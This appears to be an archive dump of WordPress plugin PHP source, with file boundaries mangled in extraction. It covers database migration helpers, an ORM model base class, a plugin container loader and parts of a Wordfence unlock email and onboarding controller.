\strtolower( \trim( $query ) ); $match = []; \preg_match( '/^(\\w)*/i', $query, $match ); $type = $match[0]; switch ( $type ) { case 'select': return Constants::SQL_SELECT; case 'update': return Constants::SQL_UPDATE; case 'delete': return Constants::SQL_DELETE; case 'insert': return Constants::SQL_INSERT; case 'alter': return Constants::SQL_ALTER; case 'drop': return Constants::SQL_DROP; case 'create': return Constants::SQL_CREATE; case 'show': return Constants::SQL_SHOW; case 'rename': return Constants::SQL_RENAME; case 'set': return Constants::SQL_SET; default: return Constants::SQL_UNKNOWN_QUERY_TYPE; } } /** * Detect whether or not the string represents a function call and if so * do not wrap it in single-quotes, otherwise do wrap in single quotes. * * @param string $text The string. * * @return bool Whether or not it's a SQL function call. */ private function is_sql_method_call( $text ) { $text = \trim( $text ); if ( \substr( $text, -2, 2 ) === '()' ) { return true; } return false; } /** * Checks if a transaction is active. * * @return bool */ private function in_transaction() { return $this->in_transaction; } /** * Starts a transaction. * * @return void * * @throws Exception If a transaction was already started. */ private function begin_transaction() { global $wpdb; if ( $this->in_transaction === true ) { throw new Exception( 'Transaction already started' ); } $wpdb->query( 'START TRANSACTION' ); $this->in_transaction = true; } /** * Commits a transaction. * * @return void * * @throws Exception If no transaction was strated. */ private function commit() { global $wpdb; if ( $this->in_transaction === false ) { throw new Exception( 'Transaction not started' ); } $wpdb->query( 'COMMIT' ); $this->in_transaction = false; } /** * Rollbacks a transaction. * * @return void * * @throws Exception If no transaction was started. */ private function rollback() { global $wpdb; if ( $this->in_transaction === false ) { throw new Exception( 'Transaction not started' ); } $wpdb->query( 'ROLLBACK' ); $this->in_transaction = false; } } migrations/constants.php000064400000001256147206761040011460 0ustar00adapter = $adapter; $this->name = $name; $this->options = $options; $this->init_sql( $name, $options ); if ( \array_key_exists( 'id', $options ) ) { if ( \is_bool( $options['id'] ) && $options['id'] === false ) { $this->auto_generate_id = false; } // If its a string then we want to auto-generate an integer-based // primary key with this name. if ( \is_string( $options['id'] ) ) { $this->auto_generate_id = true; $this->primary_keys[] = $options['id']; } } } /** * Create a column * * @param string $column_name The column name. * @param string $type The column type. * @param array $options The options. * * @return void */ public function column( $column_name, $type, $options = [] ) { // If there is already a column by the same name then silently fail and continue. foreach ( $this->columns as $column ) { if ( $column->name === $column_name ) { return; } } $column_options = []; if ( \array_key_exists( 'primary_key', $options ) ) { if ( $options['primary_key'] ) { $this->primary_keys[] = $column_name; } } if ( \array_key_exists( 'auto_increment', $options ) ) { if ( $options['auto_increment'] ) { $column_options['auto_increment'] = true; } } $column_options = \array_merge( $column_options, $options ); $column = new Column( $this->adapter, $column_name, $type, $column_options ); $this->columns[] = $column; } /** * Shortcut to create timestamps columns (default created_at, updated_at) * * @param string $created_column_name Created at column name. * @param string $updated_column_name Updated at column name. * * @return void */ public function timestamps( $created_column_name = 'created_at', $updated_column_name = 'updated_at' ) { $this->column( $created_column_name, 'datetime' ); $this->column( $updated_column_name, 'timestamp', [ 'null' => false, 'default' => 'CURRENT_TIMESTAMP', 'extra' => 'ON UPDATE CURRENT_TIMESTAMP', ] ); } /** * Get all primary keys * * @return string */ private function keys() { if ( \count( $this->primary_keys ) > 0 ) { $lead = ' PRIMARY KEY ('; $quoted = []; foreach ( $this->primary_keys as $key ) { $quoted[] = \sprintf( '%s', $this->adapter->identifier( $key ) ); } $primary_key_sql = ",\n" . $lead . \implode( ',', $quoted ) . ')'; return $primary_key_sql; } return ''; } /** * Table definition * * @param bool $wants_sql Whether or not to return SQL or execute the query. Defaults to false. * * @return bool|string * * @throws Exception If the table definition has not been intialized. */ public function finish( $wants_sql = false ) { if ( ! $this->initialized ) { throw new Exception( \sprintf( "Table Definition: '%s' has not been initialized", $this->name ) ); } $opt_str = ''; if ( \is_array( $this->options ) && \array_key_exists( 'options', $this->options ) ) { $opt_str = $this->options['options']; } elseif ( isset( $this->adapter->db_info['charset'] ) ) { $opt_str = ' DEFAULT CHARSET=' . $this->adapter->db_info['charset']; } else { $opt_str = ' DEFAULT CHARSET=utf8'; } $close_sql = \sprintf( ') %s;', $opt_str ); $create_table_sql = $this->sql; if ( $this->auto_generate_id === true ) { $this->primary_keys[] = 'id'; $primary_id = new Column( $this->adapter, 'id', 'integer', [ 'unsigned' => true, 'null' => false, 'auto_increment' => true, ] ); $create_table_sql .= $primary_id->to_sql() . ",\n"; } $create_table_sql .= $this->columns_to_str(); $create_table_sql .= $this->keys() . $close_sql; if ( $wants_sql ) { return $create_table_sql; } return $this->adapter->execute_ddl( $create_table_sql ); } /** * Get SQL for all columns. * * @return string The SQL. */ private function columns_to_str() { $fields = []; $len = \count( $this->columns ); for ( $i = 0; $i < $len; $i++ ) { $c = $this->columns[ $i ]; $fields[] = $c->__toString(); } return \implode( ",\n", $fields ); } /** * Init create sql statement. * * @param string $name The name. * @param array $options The options. * * @return void */ private function init_sql( $name, $options ) { // Are we forcing table creation? If so, drop it first. if ( \array_key_exists( 'force', $options ) && $options['force'] === true ) { $this->adapter->drop_table( $name ); } $temp = ''; if ( \array_key_exists( 'temporary', $options ) ) { $temp = ' TEMPORARY'; } $create_sql = \sprintf( 'CREATE%s TABLE ', $temp ); $create_sql .= \sprintf( "%s (\n", $this->adapter->identifier( $name ) ); $this->sql .= $create_sql; $this->initialized = true; } } migrations/column.php000064400000003465147206761040010745 0ustar00adapter = $adapter; $this->name = $name; $this->type = $type; $this->options = $options; } /** * Returns the SQL of this column. * * @return string */ public function to_sql() { $column_sql = \sprintf( '%s %s', $this->adapter->identifier( $this->name ), $this->sql_type() ); $column_sql .= $this->adapter->add_column_options( $this->type, $this->options ); return $column_sql; } /** * The SQL string version. * * @return string */ public function __toString() { return $this->to_sql(); } /** * The SQL type. * * @return string */ private function sql_type() { return $this->adapter->type_to_sql( $this->type, $this->options ); } } migrations/migration.php000064400000014354147206761040011440 0ustar00set_adapter( $adapter ); } /** * Sets an adapter. * * @param Adapter $adapter The adapter to set. * * @return $this|null */ public function set_adapter( $adapter ) { if ( ! $adapter instanceof Adapter ) { return; } $this->adapter = $adapter; return $this; } /** * Returns the current adapter. * * @return object */ public function get_adapter() { return $this->adapter; } /** * Creates a database. * * @param string $name The name of the database. * @param array|null $options The options. * * @return bool */ public function create_database( $name, $options = null ) { return $this->adapter->create_database( $name, $options ); } /** * Drops a database. * * @param string $name The name of the database. * * @return bool */ public function drop_database( $name ) { return $this->adapter->drop_database( $name ); } /** * Drops a table. * * @param string $table_name The name of the table. * * @return bool */ public function drop_table( $table_name ) { return $this->adapter->drop_table( $table_name ); } /** * Renames a table. * * @param string $name The name of the table. * @param string $new_name The new name of the table. * * @return bool */ public function rename_table( $name, $new_name ) { return $this->adapter->rename_table( $name, $new_name ); } /** * Renames a column. * * @param string $table_name The name of the table. * @param string $column_name The column name. * @param string $new_column_name The new column name. * * @return bool */ public function rename_column( $table_name, $column_name, $new_column_name ) { return $this->adapter->rename_column( $table_name, $column_name, $new_column_name ); } /** * Adds a column. * * @param string $table_name The name of the table. * @param string $column_name The column name. * @param string $type The column type. * @param array|string $options The options. * * @return bool */ public function add_column( $table_name, $column_name, $type, $options = [] ) { return $this->adapter->add_column( $table_name, $column_name, $type, $options ); } /** * Removes a column. * * @param string $table_name The name of the table. * @param string $column_name The column name. * * @return bool */ public function remove_column( $table_name, $column_name ) { return $this->adapter->remove_column( $table_name, $column_name ); } /** * Changes a column. * * @param string $table_name The name of the table. * @param string $column_name The column name. * @param string $type The column type. * @param array|string $options The options. * * @return bool */ public function change_column( $table_name, $column_name, $type, $options = [] ) { return $this->adapter->change_column( $table_name, $column_name, $type, $options ); } /** * Adds an index. * * @param string $table_name The name of the table. * @param array|string $column_name The column name. * @param array|string $options The options. * * @return bool */ public function add_index( $table_name, $column_name, $options = [] ) { return $this->adapter->add_index( $table_name, $column_name, $options ); } /** * Removes an index. * * @param string $table_name The name of the table. * @param array|string $column_name The column name. * @param array|string $options The options. * * @return bool */ public function remove_index( $table_name, $column_name, $options = [] ) { return $this->adapter->remove_index( $table_name, $column_name, $options ); } /** * Adds timestamps. * * @param string $table_name The name of the table. * @param string $created_column_name Created at column name. * @param string $updated_column_name Updated at column name. * * @return bool */ public function add_timestamps( $table_name, $created_column_name = 'created_at', $updated_column_name = 'updated_at' ) { return $this->adapter->add_timestamps( $table_name, $created_column_name, $updated_column_name ); } /** * Removes timestamps. * * @param string $table_name The name of the table. * @param string $created_column_name Created at column name. * @param string $updated_column_name Updated at column name. * * @return bool */ public function remove_timestamps( $table_name, $created_column_name = 'created_at', $updated_column_name = 'updated_at' ) { return $this->adapter->remove_timestamps( $table_name, $created_column_name, $updated_column_name ); } /** * Creates a table. * * @param string $table_name The name of the table. * @param array|string $options The options. * * @return bool|Table */ public function create_table( $table_name, $options = [] ) { return $this->adapter->create_table( $table_name, $options ); } /** * Execute a query and return the first result. * * @param string $sql The query to run. * * @return array */ public function select_one( $sql ) { return $this->adapter->select_one( $sql ); } /** * Execute a query and return all results. * * @param string $sql The query to run. * * @return array */ public function select_all( $sql ) { return $this->adapter->select_all( $sql ); } /** * Execute a query. * * @param string $sql The query to run. * * @return bool */ public function query( $sql ) { return $this->adapter->query( $sql ); } /** * Returns a quoted string. * * @param string $str The string to quote. * * @return string */ public function quote_string( $str ) { return $this->adapter->quote_string( $str ); } } model.php000064400000055500147206761040006371 0ustar00prefix . \strtolower( $table_name ); } /** * Sets the table name for the given class name. * * @param string $class_name The class to set the table name for. * * @return void */ protected function set_table_name( $class_name ) { // Prepend namespace to the class name. $class = static::$auto_prefix_models . $class_name; $class::$table = static::get_table_name( $class_name ); } /** * Retrieve the value of a static property on a class. If the * class or the property does not exist, returns the default * value supplied as the third argument (which defaults to null). * * @param string $class_name The target class name. * @param string $property The property to get the value for. * @param mixed|null $default_value Default value when property does not exist. * * @return mixed|null The value of the property. */ protected static function get_static_property( $class_name, $property, $default_value = null ) { if ( ! \class_exists( $class_name ) || ! \property_exists( $class_name, $property ) ) { return $default_value; } if ( ! isset( $class_name::${$property} ) ) { return $default_value; } return $class_name::${$property}; } /** * Static method to get a table name given a class name. * If the supplied class has a public static property * named $table, the value of this property will be * returned. * * If not, the class name will be converted using * the class_name_to_table_name() method. * * If Model::$short_table_names == true or public static * property $table_use_short_name == true then $class_name passed * to class_name_to_table_name() is stripped of namespace information. * * @param string $class_name The class name to get the table name for. * * @return string The table name. */ protected static function get_table_name_for_class( $class_name ) { $specified_table_name = static::get_static_property( $class_name, 'table' ); $use_short_class_name = static::use_short_table_name( $class_name ); if ( $use_short_class_name ) { $exploded_class_name = \explode( '\\', $class_name ); $class_name = \end( $exploded_class_name ); } if ( $specified_table_name === null ) { return static::class_name_to_table_name( $class_name ); } return $specified_table_name; } /** * Should short table names, disregarding class namespaces, be computed? * * $class_property overrides $global_option, unless $class_property is null. * * @param string $class_name The class name to get short name for. * * @return bool True when short table name should be used. */ protected static function use_short_table_name( $class_name ) { $class_property = static::get_static_property( $class_name, 'table_use_short_name' ); if ( $class_property === null ) { return static::$short_table_names; } return $class_property; } /** * Convert a namespace to the standard PEAR underscore format. * * Then convert a class name in CapWords to a table name in * lowercase_with_underscores. * * Finally strip doubled up underscores. * * For example, CarTyre would be converted to car_tyre. And * Project\Models\CarTyre would be project_models_car_tyre. * * @param string $class_name The class name to get the table name for. * * @return string The table name. */ protected static function class_name_to_table_name( $class_name ) { $find = [ '/\\\\/', '/(?<=[a-z])([A-Z])/', '/__/', ]; $replacements = [ '_', '_$1', '_', ]; $class_name = \ltrim( $class_name, '\\' ); $class_name = \preg_replace( $find, $replacements, $class_name ); return \strtolower( $class_name ); } /** * Return the ID column name to use for this class. If it is * not set on the class, returns null. * * @param string $class_name The class name to get the ID column for. * * @return string|null The ID column name. */ protected static function get_id_column_name( $class_name ) { return static::get_static_property( $class_name, 'id_column', static::DEFAULT_ID_COLUMN ); } /** * Build a foreign key based on a table name. If the first argument * (the specified foreign key column name) is null, returns the second * argument (the name of the table) with the default foreign key column * suffix appended. * * @param string $specified_foreign_key_name The keyname to build. * @param string $table_name The table name to build the key name for. * * @return string The built foreign key name. */ protected static function build_foreign_key_name( $specified_foreign_key_name, $table_name ) { if ( $specified_foreign_key_name !== null ) { return $specified_foreign_key_name; } return $table_name . static::DEFAULT_FOREIGN_KEY_SUFFIX; } /** * Factory method used to acquire instances of the given class. * The class name should be supplied as a string, and the class * should already have been loaded by PHP (or a suitable autoloader * should exist). This method actually returns a wrapped ORM object * which allows a database query to be built. The wrapped ORM object is * responsible for returning instances of the correct class when * its find_one or find_many methods are called. * * @param string $class_name The target class name. * * @return ORM Instance of the ORM wrapper. */ public static function factory( $class_name ) { $class_name = static::$auto_prefix_models . $class_name; $table_name = static::get_table_name_for_class( $class_name ); $wrapper = ORM::for_table( $table_name ); $wrapper->set_class_name( $class_name ); $wrapper->use_id_column( static::get_id_column_name( $class_name ) ); return $wrapper; } /** * Internal method to construct the queries for both the has_one and * has_many methods. These two types of association are identical; the * only difference is whether find_one or find_many is used to complete * the method chain. * * @param string $associated_class_name The associated class name. * @param string|null $foreign_key_name The foreign key name in the associated table. * @param string|null $foreign_key_name_in_current_models_table The foreign key in the current models table. * * @return ORM Instance of the ORM. * * @throws Exception When ID of current model has a null value. */ protected function has_one_or_many( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_current_models_table = null ) { $base_table_name = static::get_table_name_for_class( static::class ); $foreign_key_name = static::build_foreign_key_name( $foreign_key_name, $base_table_name ); /* * Value of foreign_table.{$foreign_key_name} we're looking for. Where foreign_table is the actual * database table in the associated model. */ if ( $foreign_key_name_in_current_models_table === null ) { // Matches foreign_table.{$foreign_key_name} with the value of "{$this->table}.{$this->id()}". $where_value = $this->id(); } else { // Matches foreign_table.{$foreign_key_name} with "{$this->table}.{$foreign_key_name_in_current_models_table}". $where_value = $this->{$foreign_key_name_in_current_models_table}; } return static::factory( $associated_class_name )->where( $foreign_key_name, $where_value ); } /** * Helper method to manage one-to-one relations where the foreign * key is on the associated table. * * @param string $associated_class_name The associated class name. * @param string|null $foreign_key_name The foreign key name in the associated table. * @param string|null $foreign_key_name_in_current_models_table The foreign key in the current models table. * * @return ORM Instance of the ORM. * * @throws Exception When ID of current model has a null value. */ protected function has_one( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_current_models_table = null ) { return $this->has_one_or_many( $associated_class_name, $foreign_key_name, $foreign_key_name_in_current_models_table ); } /** * Helper method to manage one-to-many relations where the foreign * key is on the associated table. * * @param string $associated_class_name The associated class name. * @param string|null $foreign_key_name The foreign key name in the associated table. * @param string|null $foreign_key_name_in_current_models_table The foreign key in the current models table. * * @return ORM Instance of the ORM. * * @throws Exception When ID has a null value. */ protected function has_many( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_current_models_table = null ) { $this->set_table_name( $associated_class_name ); return $this->has_one_or_many( $associated_class_name, $foreign_key_name, $foreign_key_name_in_current_models_table ); } /** * Helper method to manage one-to-one and one-to-many relations where * the foreign key is on the base table. * * @param string $associated_class_name The associated class name. * @param string|null $foreign_key_name The foreign key in the current models table. * @param string|null $foreign_key_name_in_associated_models_table The foreign key in the associated table. * * @return $this|null Instance of the foreign model. */ protected function belongs_to( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_associated_models_table = null ) { $this->set_table_name( $associated_class_name ); $associated_table_name = static::get_table_name_for_class( static::$auto_prefix_models . $associated_class_name ); $foreign_key_name = static::build_foreign_key_name( $foreign_key_name, $associated_table_name ); $associated_object_id = $this->{$foreign_key_name}; if ( $foreign_key_name_in_associated_models_table === null ) { /* * Comparison: "{$associated_table_name}.primary_key = {$associated_object_id}". * * NOTE: primary_key is a placeholder for the actual primary key column's name in $associated_table_name. */ return static::factory( $associated_class_name )->where_id_is( $associated_object_id ); } // Comparison: "{$associated_table_name}.{$foreign_key_name_in_associated_models_table} = {$associated_object_id}". return static::factory( $associated_class_name ) ->where( $foreign_key_name_in_associated_models_table, $associated_object_id ); } /** * Helper method to manage many-to-many relationships via an intermediate model. See * README for a full explanation of the parameters. * * @param string $associated_class_name The associated class name. * @param string|null $join_class_name The class name to join. * @param string|null $key_to_base_table The key to the the current models table. * @param string|null $key_to_associated_table The key to the associated table. * @param string|null $key_in_base_table The key in the current models table. * @param string|null $key_in_associated_table The key in the associated table. * * @return ORM Instance of the ORM. */ protected function has_many_through( $associated_class_name, $join_class_name = null, $key_to_base_table = null, $key_to_associated_table = null, $key_in_base_table = null, $key_in_associated_table = null ) { $base_class_name = static::class; /* * The class name of the join model, if not supplied, is formed by * concatenating the names of the base class and the associated class, * in alphabetical order. */ if ( $join_class_name === null ) { $base_model = \explode( '\\', $base_class_name ); $base_model_name = \end( $base_model ); if ( \strpos( $base_model_name, static::$auto_prefix_models ) === 0 ) { $base_model_name = \substr( $base_model_name, \strlen( static::$auto_prefix_models ), \strlen( $base_model_name ) ); } // Paris wasn't checking the name settings for the associated class. $associated_model = \explode( '\\', $associated_class_name ); $associated_model_name = \end( $associated_model ); if ( \strpos( $associated_model_name, static::$auto_prefix_models ) === 0 ) { $associated_model_name = \substr( $associated_model_name, \strlen( static::$auto_prefix_models ), \strlen( $associated_model_name ) ); } $class_names = [ $base_model_name, $associated_model_name ]; \sort( $class_names, \SORT_STRING ); $join_class_name = \implode( '', $class_names ); } // Get table names for each class. $base_table_name = static::get_table_name_for_class( $base_class_name ); $associated_table_name = static::get_table_name_for_class( static::$auto_prefix_models . $associated_class_name ); $join_table_name = static::get_table_name_for_class( static::$auto_prefix_models . $join_class_name ); // Get ID column names. $base_table_id_column = ( $key_in_base_table === null ) ? static::get_id_column_name( $base_class_name ) : $key_in_base_table; $associated_table_id_column = ( $key_in_associated_table === null ) ? static::get_id_column_name( static::$auto_prefix_models . $associated_class_name ) : $key_in_associated_table; // Get the column names for each side of the join table. $key_to_base_table = static::build_foreign_key_name( $key_to_base_table, $base_table_name ); $key_to_associated_table = static::build_foreign_key_name( $key_to_associated_table, $associated_table_name ); /* phpcs:ignore Squiz.PHP.CommentedOutCode.Found -- Reason: This is commented out code. " SELECT {$associated_table_name}.* FROM {$associated_table_name} JOIN {$join_table_name} ON {$associated_table_name}.{$associated_table_id_column} = {$join_table_name}.{$key_to_associated_table} WHERE {$join_table_name}.{$key_to_base_table} = {$this->$base_table_id_column} ;" */ return static::factory( $associated_class_name ) ->select( "{$associated_table_name}.*" ) ->join( $join_table_name, [ "{$associated_table_name}.{$associated_table_id_column}", '=', "{$join_table_name}.{$key_to_associated_table}", ] ) ->where( "{$join_table_name}.{$key_to_base_table}", $this->{$base_table_id_column} ); } /** * Set the wrapped ORM instance associated with this Model instance. * * @param ORM $orm The ORM instance to set. * * @return void */ public function set_orm( $orm ) { $this->orm = $orm; } /** * Magic getter method, allows $model->property access to data. * * @param string $property The property to get. * * @return mixed The value of the property */ public function __get( $property ) { $value = $this->orm->get( $property ); if ( $value !== null && \in_array( $property, $this->boolean_columns, true ) ) { return (bool) $value; } if ( $value !== null && \in_array( $property, $this->int_columns, true ) ) { return (int) $value; } if ( $value !== null && \in_array( $property, $this->float_columns, true ) ) { return (float) $value; } return $value; } /** * Magic setter method, allows $model->property = 'value' access to data. * * @param string $property The property to set. * @param string $value The value to set. * * @return void */ public function __set( $property, $value ) { if ( $value !== null && \in_array( $property, $this->boolean_columns, true ) ) { $value = ( $value ) ? '1' : '0'; } if ( $value !== null && \in_array( $property, $this->int_columns, true ) ) { $value = (string) $value; } if ( $value !== null && \in_array( $property, $this->float_columns, true ) ) { $value = (string) $value; } $this->orm->set( $property, $value ); } /** * Magic unset method, allows unset($model->property) * * @param string $property The property to unset. * * @return void */ public function __unset( $property ) { $this->orm->__unset( $property ); } /** * JSON serializer. * * @return array The data of this object. */ #[ReturnTypeWillChange] public function jsonSerialize() { return $this->orm->as_array(); } /** * Strips all nested dependencies from the debug info. * * @return array */ public function __debugInfo() { if ( $this->orm ) { return $this->orm->as_array(); } return []; } /** * Magic isset method, allows isset($model->property) to work correctly. * * @param string $property The property to check. * * @return bool True when value is set. */ public function __isset( $property ) { return $this->orm->__isset( $property ); } /** * Getter method, allows $model->get('property') access to data * * @param string $property The property to get. * * @return string The value of a property. */ public function get( $property ) { return $this->orm->get( $property ); } /** * Setter method, allows $model->set('property', 'value') access to data. * * @param string|array $property The property to set. * @param string|null $value The value to give. * * @return static Current object. */ public function set( $property, $value = null ) { $this->orm->set( $property, $value ); return $this; } /** * Setter method, allows $model->set_expr('property', 'value') access to data. * * @param string|array $property The property to set. * @param string|null $value The value to give. * * @return static Current object. */ public function set_expr( $property, $value = null ) { $this->orm->set_expr( $property, $value ); return $this; } /** * Check whether the given property has changed since the object was created or saved. * * @param string $property The property to check. * * @return bool True when field is changed. */ public function is_dirty( $property ) { return $this->orm->is_dirty( $property ); } /** * Check whether the model was the result of a call to create() or not. * * @return bool True when is new. */ public function is_new() { return $this->orm->is_new(); } /** * Wrapper for Idiorm's as_array method. * * @return array The models data as array. */ public function as_array() { $args = \func_get_args(); return \call_user_func_array( [ $this->orm, 'as_array' ], $args ); } /** * Save the data associated with this model instance to the database. * * @return bool True on success. */ public function save() { if ( $this->uses_timestamps ) { if ( ! $this->created_at ) { $this->created_at = \gmdate( 'Y-m-d H:i:s' ); } $this->updated_at = \gmdate( 'Y-m-d H:i:s' ); } return $this->orm->save(); } /** * Delete the database row associated with this model instance. * * @return bool|int Response of wpdb::query. */ public function delete() { return $this->orm->delete(); } /** * Get the database ID of this model instance. * * @return int The database ID of the models instance. * * @throws Exception When the ID is a null value. */ public function id() { return $this->orm->id(); } /** * Hydrate this model instance with an associative array of data. * WARNING: The keys in the array MUST match with columns in the * corresponding database table. If any keys are supplied which * do not match up with columns, the database will throw an error. * * @param array $data The data to pass to the ORM. * * @return void */ public function hydrate( $data ) { $this->orm->hydrate( $data )->force_all_dirty(); } /** * Calls static methods directly on the ORM * * @param string $method The method to call. * @param array $arguments The arguments to use. * * @return array Result of the static call. */ public static function __callStatic( $method, $arguments ) { if ( ! \function_exists( 'get_called_class' ) ) { return []; } $model = static::factory( static::class ); return \call_user_func_array( [ $model, $method ], $arguments ); } } abstract-main.php000064400000010432147206761040010011 0ustar00container ) { return; } try { $this->container = $this->get_container(); Container_Registry::register( $this->get_name(), $this->container ); if ( ! $this->container ) { return; } if ( ! $this->container->has( Loader::class ) ) { return; } $this->container->get( Loader::class )->load(); } catch ( Exception $e ) { if ( $this->is_development() ) { throw $e; } // Don't crash the entire site, simply don't load. } } /** * Magic getter for retrieving a property from a surface. * * @param string $property The property to retrieve. * * @return mixed The value of the property. * * @throws Exception When the property doesn't exist. */ public function __get( $property ) { if ( \array_key_exists( $property, $this->cached_surfaces ) ) { return $this->cached_surfaces[ $property ]; } $surfaces = $this->get_surfaces(); if ( isset( $surfaces[ $property ] ) ) { $this->cached_surfaces[ $property ] = $this->container->get( $surfaces[ $property ] ); return $this->cached_surfaces[ $property ]; } throw new Exception( \sprintf( 'Property $%s does not exist.', $property ) ); } /** * Checks if the given property exists as a surface. * * @param string $property The property to retrieve. * * @return bool True when property is set. */ public function __isset( $property ) { if ( \array_key_exists( $property, $this->cached_surfaces ) ) { return true; } $surfaces = $this->get_surfaces(); if ( ! isset( $surfaces[ $property ] ) ) { return false; } return $this->container->has( $surfaces[ $property ] ); } /** * Prevents setting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * @param mixed $value The property value. * * @return void * * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called. */ public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715. throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name ); } /** * Prevents unsetting dynamic properties and unsetting declared properties * from an inaccessible context. * * @param string $name The property name. * * @return void * * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called. */ public function __unset( $name ) { throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name ); } /** * Loads the DI container. * * @return ContainerInterface|null The DI container. * * @throws Exception If something goes wrong generating the DI container. */ abstract protected function get_container(); /** * Gets the name of the plugin. * * @return string The name. */ abstract protected function get_name(); /** * Gets the surfaces of this plugin. * * @return array A mapping of surface name to the responsible class. */ abstract protected function get_surfaces(); /** * Returns whether or not we're in an environment for Yoast development. * * @return bool Whether or not to load in development mode. */ protected function is_development() { try { return WPSEO_Utils::is_development_mode(); } catch ( Exception $exception ) { // E.g. when WordPress and/or WordPress SEO are not loaded. return \defined( 'YOAST_ENVIRONMENT' ) && \YOAST_ENVIRONMENT === 'development'; } } } dependency-injection/container-registry.php000064400000004117147206761040015215 0ustar00get( $id, $invalid_behaviour ); } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber /** * Attempts to find a given service ID in all registered containers. * * @param string $id The service ID. * * @return string|null The name of the container if the service was found. */ public static function find( $id ) { foreach ( self::$containers as $name => $container ) { if ( $container->has( $id ) ) { return $name; } } } } email_unlockRequest.php000064400000004535147206764270011316 0ustar00 %1$s requested instructions to regain access to the website %3$s.', 'wordfence'), esc_html($IP), esc_attr(wfUtils::getSiteBaseURL()), esc_html($siteName)), array('a'=>array('href'=>array()), 'b'=>array())); ?>




will be valid for 30 minutes from the time they were sent.', 'wordfence'), array('b'=>array())); ?> wfOnboardingController.php000064400000022273147206764270011765 0ustar00 add_action('pre_current_active_plugins', 'wfOnboardingController::_pre_plugins'); //Called immediately after
add_action('admin_enqueue_scripts', 'wfOnboardingController::_enqueue_scripts'); } /** * Enqueues the scripts and styles we need globally on the backend for onboarding. */ public static function _enqueue_scripts() { $willShowAnyPluginOnboarding = (self::shouldShowAttempt1() || self::shouldShowAttempt2()); $willShowAnyTour = (self::shouldShowNewTour(self::TOUR_DASHBOARD) || self::shouldShowUpgradeTour(self::TOUR_DASHBOARD) || self::shouldShowNewTour(self::TOUR_FIREWALL) || self::shouldShowUpgradeTour(self::TOUR_FIREWALL) || self::shouldShowNewTour(self::TOUR_SCAN) || self::shouldShowUpgradeTour(self::TOUR_SCAN) || self::shouldShowNewTour(self::TOUR_BLOCKING) || self::shouldShowUpgradeTour(self::TOUR_BLOCKING) || self::shouldShowNewTour(self::TOUR_LIVE_TRAFFIC) || self::shouldShowUpgradeTour(self::TOUR_LIVE_TRAFFIC) || self::shouldShowNewTour(self::TOUR_AUDIT_LOG) || self::shouldShowUpgradeTour(self::TOUR_AUDIT_LOG) || self::shouldShowNewTour(self::TOUR_LOGIN_SECURITY) || self::shouldShowUpgradeTour(self::TOUR_LOGIN_SECURITY)); if (wfUtils::isAdmin() && (($willShowAnyPluginOnboarding && preg_match('~(?:^|/)wp-admin(?:/network)?/plugins\.php~i', $_SERVER['REQUEST_URI'])) || (isset($_GET['page']) && (preg_match('/^Wordfence/', @$_GET['page']) || preg_match('/^WFLS/', @$_GET['page'])) ) ) ) { self::enqueue_assets(); } } public static function enqueue_assets() { wp_enqueue_style('wordfence-font', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-roboto-font.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-ionicons-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-ionicons.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfenceOnboardingCSS', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-onboarding.css'), '', WORDFENCE_VERSION); wp_enqueue_style('wordfence-colorbox-style', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/wf-colorbox.css'), '', WORDFENCE_VERSION); wp_enqueue_script('jquery.wfcolorbox', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery.colorbox-min.js'), array('jquery'), WORDFENCE_VERSION); } /** * Outputs the onboarding overlay if it needs to be shown on the plugins page. */ public static function _admin_header() { $willShowAnyTour = (self::shouldShowNewTour(self::TOUR_DASHBOARD) || self::shouldShowUpgradeTour(self::TOUR_DASHBOARD) || self::shouldShowNewTour(self::TOUR_FIREWALL) || self::shouldShowUpgradeTour(self::TOUR_FIREWALL) || self::shouldShowNewTour(self::TOUR_SCAN) || self::shouldShowUpgradeTour(self::TOUR_SCAN) || self::shouldShowNewTour(self::TOUR_BLOCKING) || self::shouldShowUpgradeTour(self::TOUR_BLOCKING) || self::shouldShowNewTour(self::TOUR_LIVE_TRAFFIC) || self::shouldShowUpgradeTour(self::TOUR_LIVE_TRAFFIC) || self::shouldShowNewTour(self::TOUR_AUDIT_LOG) || self::shouldShowUpgradeTour(self::TOUR_AUDIT_LOG) || self::shouldShowNewTour(self::TOUR_LOGIN_SECURITY) || self::shouldShowUpgradeTour(self::TOUR_LOGIN_SECURITY)); $screen = get_current_screen(); if ($screen->base == 'plugins' && self::shouldShowAttempt1()) { register_shutdown_function('wfOnboardingController::_markAttempt1Shown'); $freshInstall = wfView::create('onboarding/fresh-install')->render(); echo wfView::create('onboarding/overlay', array( 'contentHTML' => $freshInstall, ))->render(); } else if (preg_match('/wordfence/i', $screen->base) && $willShowAnyTour) { echo wfView::create('onboarding/tour-overlay')->render(); } } public static function _markAttempt1Shown() { wfConfig::set('onboardingAttempt1', self::ONBOARDING_SKIPPED); //Only show it once, default to skipped after outputting the first time } public static function shouldShowAttempt1() { //Overlay on plugin page if (wfConfig::get('onboardingAttempt3') == self::ONBOARDING_LICENSE) { return false; } switch (wfConfig::get('onboardingAttempt1')) { case self::ONBOARDING_LICENSE: case self::ONBOARDING_SKIPPED: return false; } return true; } public static function _pre_plugins() { if (self::shouldShowAttempt2()) { echo wfView::create('onboarding/plugin-header')->render(); } } private static function needsApiKey() { $key = wfConfig::get('apiKey'); return empty($key); } public static function shouldShowAttempt2() { //Header on plugin page if (wfConfig::get('onboardingAttempt3') == self::ONBOARDING_LICENSE) { return false; } return 